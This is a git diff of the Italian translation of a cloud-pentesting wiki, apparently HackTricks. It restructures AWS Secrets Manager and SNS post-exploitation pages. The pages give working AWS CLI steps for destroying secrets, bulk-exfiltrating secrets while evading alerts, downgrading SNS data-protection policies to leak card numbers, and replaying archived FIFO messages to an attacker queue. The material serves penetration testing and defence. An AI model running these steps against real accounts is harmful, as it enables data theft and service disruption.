---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
-```
-### DoS Change KMS key
-
-Se l'attaccante ha il permesso secretsmanager:UpdateSecret, può configurare il secret in modo che utilizzi una KMS key di sua proprietà. Tale KMS key è inizialmente configurata in modo che chiunque possa accedervi e usarla, quindi è possibile aggiornare il secret con la nuova KMS key. Se la KMS key non fosse accessibile, il secret non potrebbe essere aggiornato.
-
-Dopo aver cambiato la KMS key del secret, l'attaccante modifica la configurazione della propria KMS key in modo che solo lui possa accedervi. In questo modo, nelle versioni successive del secret verrà crittografato con la nuova KMS key e, non essendoci accesso ad essa, la possibilità di recuperare il secret verrebbe persa.
-
-È importante notare che questa inaccessibilità si verificherà solo nelle versioni successive, dopo che il contenuto del secret sarà cambiato, poiché la versione corrente è ancora crittografata con la KMS key originale.
-```bash
-aws secretsmanager update-secret \
---secret-id MyTestSecret \
---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
-```
-### DoS Eliminazione del Secret
-
-Il numero minimo di giorni per eliminare un secret è 7
-```bash
-aws secretsmanager delete-secret \
---secret-id MyTestSecret \
---recovery-window-in-days 7
-```
-## secretsmanager:RestoreSecret
-
-È possibile ripristinare un secret, permettendo il recupero di secret che sono stati programmati per la cancellazione, dato che il periodo minimo di cancellazione per i secret è di 7 giorni e il massimo è di 30 giorni. Insieme al permesso secretsmanager:GetSecretValue, questo rende possibile recuperarne il contenuto.
-
-Per recuperare un secret che è in fase di cancellazione, puoi usare il seguente comando:
-```bash
-aws secretsmanager restore-secret \
---secret-id <Secret_Name>
-```
-## secretsmanager:DeleteResourcePolicy
-
-Questa azione permette di eliminare la resource policy che controlla chi può accedere a un secret. Questo potrebbe portare a un DoS se la resource policy era configurata per consentire l'accesso a un insieme specifico di utenti.
-
-Per eliminare la resource policy:
-```bash
-aws secretsmanager delete-resource-policy \
---secret-id <Secret_Name>
-```
-## secretsmanager:UpdateSecretVersionStage
-
-Gli stati di un segreto sono usati per gestire le versioni di un segreto. AWSCURRENT indica la versione attiva che le applicazioni utilizzano, AWSPREVIOUS conserva la versione precedente in modo da poter effettuare un rollback se necessario, e AWSPENDING è usato nel processo di rotazione per preparare e validare una nuova versione prima di renderla quella corrente.
-
-Le applicazioni leggono sempre la versione contrassegnata da AWSCURRENT. Se qualcuno sposta quell'etichetta sulla versione sbagliata, le app utilizzeranno credenziali non valide e potrebbero andare in errore.
-
-AWSPREVIOUS non viene usato automaticamente. Tuttavia, se AWSCURRENT viene rimosso o riassegnato in modo errato, potrebbe sembrare che tutto stia ancora girando con la versione precedente.
-```bash
-aws secretsmanager update-secret-version-stage \
---secret-id <your-secret-name-or-arn> \
---version-stage AWSCURRENT \
---move-to-version-id <target-version-id> \
---remove-from-version-id <previous-version-id>
-```
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
-
-### Esfiltrazione massiva di Secrets via BatchGetSecretValue (fino a 20 per chiamata)
-
-Abusa dell'API Secrets Manager BatchGetSecretValue per recuperare fino a 20 secrets in una singola richiesta. Questo può ridurre drasticamente il numero di chiamate API rispetto all'iterazione con GetSecretValue per ogni secret. Se si usano filtri (tags/name), è anche richiesto il permesso ListSecrets. CloudTrail registra comunque un evento GetSecretValue per ogni secret recuperato nel batch.
-
-Permessi richiesti
-- secretsmanager:BatchGetSecretValue
-- secretsmanager:GetSecretValue per ogni secret target
-- secretsmanager:ListSecrets se si usa --filters
-- kms:Decrypt sui CMK usati dai secrets (se non si usa aws/secretsmanager)
-
-> [!WARNING]
-> Nota che la permissione `secretsmanager:BatchGetSecretValue` non è sufficiente per recuperare i secrets; è necessario anche `secretsmanager:GetSecretValue` per ogni secret che si vuole recuperare.
-
-Esfiltrare tramite lista esplicita
-```bash
-aws secretsmanager batch-get-secret-value \
---secret-id-list <secret1> <secret2> <secret3> \
---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
-```
-Exfiltrate tramite filtri (tag key/value o name prefix)
-```bash
-# By tag key
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-key,Values=env \
---max-results 20 \
---query 'SecretValues[].{Name:Name,Val:SecretString}'
-
-# By tag value
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-value,Values=prod \
---max-results 20
-
-# By name prefix
-aws secretsmanager batch-get-secret-value \
---filters Key=name,Values=MyApp
-```
-Gestione dei fallimenti parziali
-```bash
-# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
-aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
-```
-Impatto
-- Rapida “smash-and-grab” di molti secret con meno chiamate API, potenzialmente bypassando alerting tarato sui picchi di GetSecretValue.
-- I log di CloudTrail includono comunque un evento GetSecretValue per ogni secret recuperato dal batch.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
new file mode 100644
index 000000000..07bc668a1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
@@ -0,0 +1,130 @@
+# AWS - Secrets Manager Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Leggi Secrets
+
+I **secrets stessi sono informazioni sensibili**, [consulta la pagina privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) per imparare come leggerli.
+
+### DoS - Cambiare il valore del Secret
+
+Modificando il valore del secret potresti causare un DoS a tutti i sistemi che dipendono da quel valore.
+
+> [!WARNING]
+> Nota che i valori precedenti sono anche memorizzati, quindi è facile tornare al valore precedente.
+```bash
+# Requires permission secretsmanager:PutSecretValue
+aws secretsmanager put-secret-value \
+--secret-id MyTestSecret \
+--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
+```
+### DoS Change KMS key
+
+Se l'attacker ha il permesso secretsmanager:UpdateSecret, può configurare il secret per utilizzare una KMS key di proprietà dell'attacker. Tale key viene inizialmente impostata in modo che chiunque possa accedervi e usarla, quindi è possibile aggiornare il secret con la nuova key. Se la key non fosse accessibile, il secret non potrebbe essere aggiornato.
+
+Dopo aver cambiato la key per il secret, l'attacker modifica la configurazione della propria key in modo che solo lui possa accedervi. In questo modo, nelle versioni successive del secret il contenuto sarà cifrato con la nuova key e, poiché non si potrà accedere a questa key, la possibilità di recuperare il secret verrebbe persa.
+
+È importante notare che questa inaccessibilità si verificherà solo nelle versioni successive, dopo che il contenuto del secret sarà cambiato, poiché la versione corrente è ancora cifrata con la KMS key originale.
+```bash
+aws secretsmanager update-secret \
+--secret-id MyTestSecret \
+--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
+```
+### DoS Deleting Secret
+
+Il numero minimo di giorni per eliminare un secret è 7
+```bash
+aws secretsmanager delete-secret \
+--secret-id MyTestSecret \
+--recovery-window-in-days 7
+```
+## secretsmanager:RestoreSecret
+
+È possibile ripristinare un secret, il che consente il recupero di secret che sono stati programmati per la cancellazione, poiché il periodo minimo di cancellazione per i secret è di 7 giorni e il massimo è di 30 giorni. Insieme all'autorizzazione secretsmanager:GetSecretValue, questo rende possibile recuperare i loro contenuti.
+
+Per recuperare un secret che è in fase di cancellazione, puoi usare il seguente comando:
+```bash
+aws secretsmanager restore-secret \
+--secret-id <Secret_Name>
+```
+## secretsmanager:DeleteResourcePolicy
+
+Questa operazione permette di eliminare la resource policy che controlla chi può accedere a un secret. Questo potrebbe causare un DoS se la resource policy è stata configurata per consentire l'accesso a un insieme specifico di utenti.
+
+Per eliminare la resource policy:
+```bash
+aws secretsmanager delete-resource-policy \
+--secret-id <Secret_Name>
+```
+## secretsmanager:UpdateSecretVersionStage
+
+Gli stati di un segreto sono usati per gestire le versioni di un segreto. AWSCURRENT indica la versione attiva che le applicazioni utilizzano, AWSPREVIOUS conserva la versione precedente in modo da poter eseguire il rollback se necessario, e AWSPENDING è usato nel processo di rotazione per preparare e convalidare una nuova versione prima di renderla quella corrente.
+
+Le applicazioni leggono sempre la versione con AWSCURRENT. Se qualcuno sposta quell'etichetta sulla versione sbagliata, le app useranno credenziali non valide e potrebbero andare in errore.
+
+AWSPREVIOUS non viene usato automaticamente. Tuttavia, se AWSCURRENT viene rimosso o riassegnato in modo errato, potrebbe sembrare che tutto stia ancora funzionando con la versione precedente.
+```bash
+aws secretsmanager update-secret-version-stage \
+--secret-id <your-secret-name-or-arn> \
+--version-stage AWSCURRENT \
+--move-to-version-id <target-version-id> \
+--remove-from-version-id <previous-version-id>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Esfiltrazione di segreti in massa via BatchGetSecretValue (fino a 20 per chiamata)
+
+Abusa dell'API Secrets Manager BatchGetSecretValue per recuperare fino a 20 segreti in una singola richiesta. Questo può ridurre drasticamente il numero di chiamate API rispetto a iterare GetSecretValue per ogni segreto. Se si utilizzano filtri (tags/name), è anche richiesta l'autorizzazione ListSecrets. CloudTrail registra comunque un evento GetSecretValue per ogni segreto recuperato nel batch.
+
+Permessi richiesti
+- secretsmanager:BatchGetSecretValue
+- secretsmanager:GetSecretValue for each target secret
+- secretsmanager:ListSecrets se si usa --filters
+- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
+
+> [!WARNING]
+> Nota che l'autorizzazione `secretsmanager:BatchGetSecretValue` non è sufficiente per recuperare i segreti; serve anche `secretsmanager:GetSecretValue` per ogni segreto che si vuole recuperare.
+
+Esfiltrazione tramite lista esplicita
+```bash
+aws secretsmanager batch-get-secret-value \
+--secret-id-list <secret1> <secret2> <secret3> \
+--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
+```
+Exfiltrate tramite filtri (tag key/value o name prefix)
+```bash
+# By tag key
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-key,Values=env \
+--max-results 20 \
+--query 'SecretValues[].{Name:Name,Val:SecretString}'
+
+# By tag value
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-value,Values=prod \
+--max-results 20
+
+# By name prefix
+aws secretsmanager batch-get-secret-value \
+--filters Key=name,Values=MyApp
+```
+Gestione dei guasti parziali
+```bash
+# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
+aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
+```
+Impatto
+- Raccolta rapida “smash-and-grab” di molti segreti con meno chiamate API, potenzialmente eludendo gli avvisi tarati sui picchi di GetSecretValue.
+- I log di CloudTrail includono comunque un evento GetSecretValue per ogni segreto recuperato dal batch.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
similarity index 70%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
index bf28ab8e2..6b60e43e3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
@@ -1,13 +1,13 @@
 # AWS - SES Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SES
 
-Per ulteriori informazioni controlla:
+Per maggiori informazioni, vedi:
 
 {{#ref}}
-../aws-services/aws-ses-enum.md
+../../aws-services/aws-ses-enum.md
 {{#endref}}
 
 ### `ses:SendEmail`
@@ -25,6 +25,8 @@ Invia un'email.
 ```bash
 aws ses send-raw-email --raw-message file://message.json
 ```
+Ancora da testare.
+
 ### `ses:SendTemplatedEmail`
 
 Invia un'email basata su un modello.
@@ -35,7 +37,7 @@ Ancora da testare.
 
 ### `ses:SendBulkTemplatedEmail`
 
-Invia un'email a più destinazioni
+Invia un'email a più destinatari
 ```bash
 aws ses send-bulk-templated-email --source <value> --template <value>
 ```
@@ -49,17 +51,19 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```
 ### `ses:SendBounce`
 
-Invia un **email di rimbalzo** su un'email ricevuta (indicando che l'email non può essere ricevuta). Questo può essere fatto **fino a 24 ore dopo aver ricevuto** l'email.
+Invia una **bounce email** su una email ricevuta (indicando che l'email non è stata recapitata). Questo può essere fatto solo **entro 24h dalla ricezione**
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
+Da testare.
+
 ### `ses:SendCustomVerificationEmail`
 
-Questo invierà un'email di verifica personalizzata. Potresti aver bisogno di permessi anche per creare il modello di email.
+Questo invierà un'email di verifica personalizzata. Potrebbe essere inoltre necessario avere le autorizzazioni per creare il modello di email.
 ```bash
 aws ses send-custom-verification-email --email-address <value> --template-name <value>
 aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
 ```
 Ancora da testare.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
deleted file mode 100644
index ff32a4611..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ /dev/null
@@ -1,68 +0,0 @@
-# AWS - SNS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Per ulteriori informazioni:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Disrupt Messages
-
-In diversi casi, i topic SNS vengono utilizzati per inviare messaggi a piattaforme che vengono monitorate (email, messaggi slack...). Se un attaccante impedisce l'invio dei messaggi che avvertono della sua presenza nel cloud, potrebbe rimanere non rilevato.
-
-### `sns:DeleteTopic`
-
-Un attaccante potrebbe eliminare un intero topic SNS, causando la perdita di messaggi e influenzando le applicazioni che dipendono dal topic.
-```bash
-aws sns delete-topic --topic-arn <value>
-```
-**Impatto Potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che utilizzano il topic eliminato.
-
-### `sns:Publish`
-
-Un attaccante potrebbe inviare messaggi dannosi o indesiderati al topic SNS, causando potenzialmente corruzione dei dati, attivazione di azioni non intenzionali o esaurimento delle risorse.
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-**Impatto Potenziale**: Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
-
-### `sns:SetTopicAttributes`
-
-Un attaccante potrebbe modificare gli attributi di un argomento SNS, potenzialmente influenzando le sue prestazioni, sicurezza o disponibilità.
-```bash
-aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
-```
-**Impatto Potenziale**: Configurazioni errate che portano a prestazioni degradate, problemi di sicurezza o disponibilità ridotta.
-
-### `sns:Subscribe` , `sns:Unsubscribe`
-
-Un attaccante potrebbe iscriversi o disiscriversi a un argomento SNS, guadagnando potenzialmente accesso non autorizzato ai messaggi o interrompendo il normale funzionamento delle applicazioni che si basano sull'argomento.
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-aws sns unsubscribe --subscription-arn <value>
-```
-**Impatto Potenziale**: Accesso non autorizzato ai messaggi, interruzione del servizio per le applicazioni che dipendono dall'argomento interessato.
-
-### `sns:AddPermission` , `sns:RemovePermission`
-
-Un attaccante potrebbe concedere accesso a utenti o servizi non autorizzati a un argomento SNS, o revocare i permessi per utenti legittimi, causando interruzioni nel normale funzionamento delle applicazioni che dipendono dall'argomento.
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-aws sns remove-permission --topic-arn <value> --label <value>
-```
-**Impatto Potenziale**: Accesso non autorizzato al topic, esposizione dei messaggi o manipolazione del topic da parte di utenti o servizi non autorizzati, interruzione del normale funzionamento delle applicazioni che si basano sul topic.
-
-### `sns:TagResource` , `sns:UntagResource`
-
-Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse SNS, interrompendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.
-```bash
-aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws sns untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo degli accessi basate sui tag.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
new file mode 100644
index 000000000..f5a293630
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
@@ -0,0 +1,82 @@
+# AWS - SNS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Per maggiori informazioni:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Interrompere i messaggi
+
+In diversi casi, gli SNS topics vengono usati per inviare messaggi a piattaforme monitorate (email, slack messages...). Se un attaccante impedisce l'invio dei messaggi che segnalano la sua presenza nel cloud, potrebbe rimanere inosservato.
+
+### `sns:DeleteTopic`
+
+Un attaccante potrebbe cancellare un intero SNS topic, causando perdita di messaggi e impattando le applicazioni che si basano su quel topic.
+```bash
+aws sns delete-topic --topic-arn <value>
+```
+**Impatto potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che usano il topic eliminato.
+
+### `sns:Publish`
+
+Un attacker potrebbe inviare messaggi malevoli o indesiderati al topic SNS, causando potenzialmente la corruzione dei dati, l'attivazione di azioni non intenzionate o l'esaurimento delle risorse.
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+**Impatto potenziale**: Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
+
+### `sns:SetTopicAttributes`
+
+Un attaccante potrebbe modificare gli attributi di un topic SNS, influenzandone potenzialmente le prestazioni, la sicurezza o la disponibilità.
+```bash
+aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
+```
+**Potential Impact**: Configurazioni errate che possono portare a prestazioni degradate, problemi di sicurezza o disponibilità ridotta.
+
+### `sns:Subscribe` , `sns:Unsubscribe`
+
+Un attacker potrebbe iscriversi o annullare l'iscrizione a un SNS topic, ottenendo potenzialmente accesso non autorizzato ai messaggi o interrompendo il normale funzionamento delle applicazioni che si basano su quel topic.
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+aws sns unsubscribe --subscription-arn <value>
+```
+**Impatto potenziale**: Accesso non autorizzato ai messaggi, interruzione del servizio per applicazioni che dipendono dal topic interessato.
+
+### `sns:AddPermission` , `sns:RemovePermission`
+
+Un attacker potrebbe concedere a utenti o servizi non autorizzati l'accesso a un SNS topic, oppure revocare i permessi per utenti legittimi, causando interruzioni nel normale funzionamento delle applicazioni che si basano sul topic.
+```bash
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+aws sns remove-permission --topic-arn <value> --label <value>
+```
+**Potenziale impatto**: Accesso non autorizzato al topic, esposizione dei messaggi o manipolazione del topic da parte di utenti o servizi non autorizzati, interruzione del normale funzionamento delle applicazioni che dipendono dal topic.
+
+### `sns:TagResource` , `sns:UntagResource`
+
+Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse SNS, compromettendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le policy di controllo degli accessi basate sui tag.
+```bash
+aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws sns untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Impatto potenziale**: Interruzione dell'allocazione dei costi, del tracciamento delle risorse e delle politiche di controllo degli accessi basate sui tag.
+
+### More SNS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sns-data-protection-bypass.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-fifo-replay-exfil.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-firehose-exfil.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
new file mode 100644
index 000000000..04ce0905f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
@@ -0,0 +1,92 @@
+# AWS - SNS Bypass della protezione dei dati dei messaggi tramite downgrade della policy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Se hai `sns:PutDataProtectionPolicy` su un topic, puoi passare la sua Message Data Protection policy da Deidentify/Deny a Audit-only (o rimuovere i controlli Outbound) in modo che valori sensibili (es., numeri di carta di credito) vengano consegnati non modificati alla tua subscription.
+
+## Requisiti
+- Permessi sul topic target per chiamare `sns:PutDataProtectionPolicy` (e di solito `sns:Subscribe` se vuoi ricevere i dati).
+- Topic SNS standard (Message Data Protection supportato).
+
+## Passaggi dell'attacco
+
+- Variabili
+
+```bash
+REGION=us-east-1
+```
+
+1) Crea un topic standard e una coda SQS dell'attaccante, e consenti solo a questo topic di inviare alla coda
+
+```bash
+TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
+Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
+```
+
+2) Allega una data protection policy che maschera i numeri di carta di credito nei messaggi in uscita
+
+```bash
+cat > /tmp/ht-dlp-policy.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "MaskCCOutbound",
+"Principal": ["*"],
+"DataDirection": "Outbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
+```
+
+3) Iscrivi la coda dell'attaccante e pubblica un messaggio con un numero di carta di credito di test, verifica la mascheratura
+
+```bash
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+
+L'estratto previsto mostra la mascheratura (hash):
+```json
+"Message" : "payment:{cc:################}"
+```
+4) Riduci la policy a audit-only (nessuna dichiarazione deidentify/deny che influenzi Outbound)
+
+Per SNS, le dichiarazioni Audit devono essere Inbound. Sostituire la policy con una dichiarazione Inbound audit-only rimuove qualsiasi de-identification su Outbound, quindi i messaggi vengono inviati non modificati ai sottoscrittori.
+```bash
+cat > /tmp/ht-dlp-audit-only.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "AuditInbound",
+"Principal": ["*"],
+"DataDirection": "Inbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
+```
+
+5) Pubblica lo stesso messaggio e verifica che il valore non mascherato venga recapitato
+```bash
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+L'estratto previsto mostra la CC in chiaro:
+```text
+4539894458086459
+```
+## Impatto
+- Cambiare un topic da de-identification/deny a audit-only (o rimuovendo in altro modo i controlli Outbound) permette a PII/secrets di passare non modificati verso subscriptions controllate dall'attaccante, abilitando l'esfiltrazione di dati che altrimenti sarebbero stati mascherati o bloccati.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
new file mode 100644
index 000000000..30733d748
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
@@ -0,0 +1,100 @@
+# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abuso dell'archiviazione dei messaggi dei topic Amazon SNS FIFO per riprodurre ed exfiltrate messaggi pubblicati in precedenza verso una SQS FIFO queue controllata dall'attacker impostando la ReplayPolicy della subscription.
+
+- Servizio: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
+- Requisiti: Topic deve avere `ArchivePolicy` abilitato (archiviazione dei messaggi). Attacker può `Subscribe` al topic e impostare attributi sulla loro subscription. Attacker controlla una SQS FIFO queue e permette al topic di inviare messaggi.
+- Impatto: Messaggi storici (pubblicati prima della subscription) possono essere consegnati all'endpoint dell'attacker. Le consegne riprodotte sono segnate con Replayed=true nell'envelope SNS.
+
+## Precondizioni
+- SNS FIFO topic con archiviazione abilitata: `ArchivePolicy` (es. `{ "MessageRetentionPeriod": "2" }` per 2 giorni).
+- Attacker ha permessi per:
+- `sns:Subscribe` sul topic target.
+- `sns:SetSubscriptionAttributes` sulla subscription creata.
+- Attacker possiede una SQS FIFO queue e può allegare una queue policy che permetta `sns:SendMessage` dall'ARN del topic.
+
+## Permessi IAM minimi
+- Sul topic: `sns:Subscribe`.
+- Sulla subscription: `sns:SetSubscriptionAttributes`.
+- Sulla queue: `sqs:SetQueueAttributes` per la policy, e queue policy che permetta `sns:SendMessage` dall'ARN del topic.
+
+## Attacco: Replay dei messaggi archiviati verso attacker SQS FIFO
+Attacker sottoscrive la sua SQS FIFO queue al victim SNS FIFO topic, poi imposta la `ReplayPolicy` su un timestamp nel passato (all'interno della finestra di retention dell'archivio). SNS riproduce immediatamente i messaggi archiviati corrispondenti alla nuova subscription e li marca con `Replayed=true`.
+
+Note:
+- Il timestamp usato in `ReplayPolicy` deve essere >= del `BeginningArchiveTime` del topic. Se è precedente, l'API restituisce `Invalid StartingPoint value`.
+- Per SNS FIFO `Publish`, è necessario specificare un `MessageGroupId` (e o un dedup ID o abilitare `ContentBasedDeduplication`).
+
+<details>
+<summary>POC CLI end-to-end (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
+TS_START=$(python3 - << 'PY'
+from datetime import datetime, timezone, timedelta
+print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
+PY
+)
+
+# 1) Create SNS FIFO topic with archiving (2-day retention)
+TOPIC_NAME=htreplay$(date +%s).fifo
+TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
+--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
+--query TopicArn --output text)
+
+echo "Topic: $TOPIC_ARN"
+
+# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
+for i in $(seq 1 3); do
+aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
+--message-group-id g1 >/dev/null
+done
+
+# 3) Create attacker SQS FIFO queue and allow only this topic to send
+Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
+--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
+--attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+cat > /tmp/ht-replay-sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
+JSON
+# Use CLI input JSON to avoid quoting issues
+aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
+import json, os
+print(json.dumps({
+'QueueUrl': os.environ['Q_URL'],
+'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
+}))
+PY
+)"
+
+# 4) Subscribe the queue to the topic
+SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
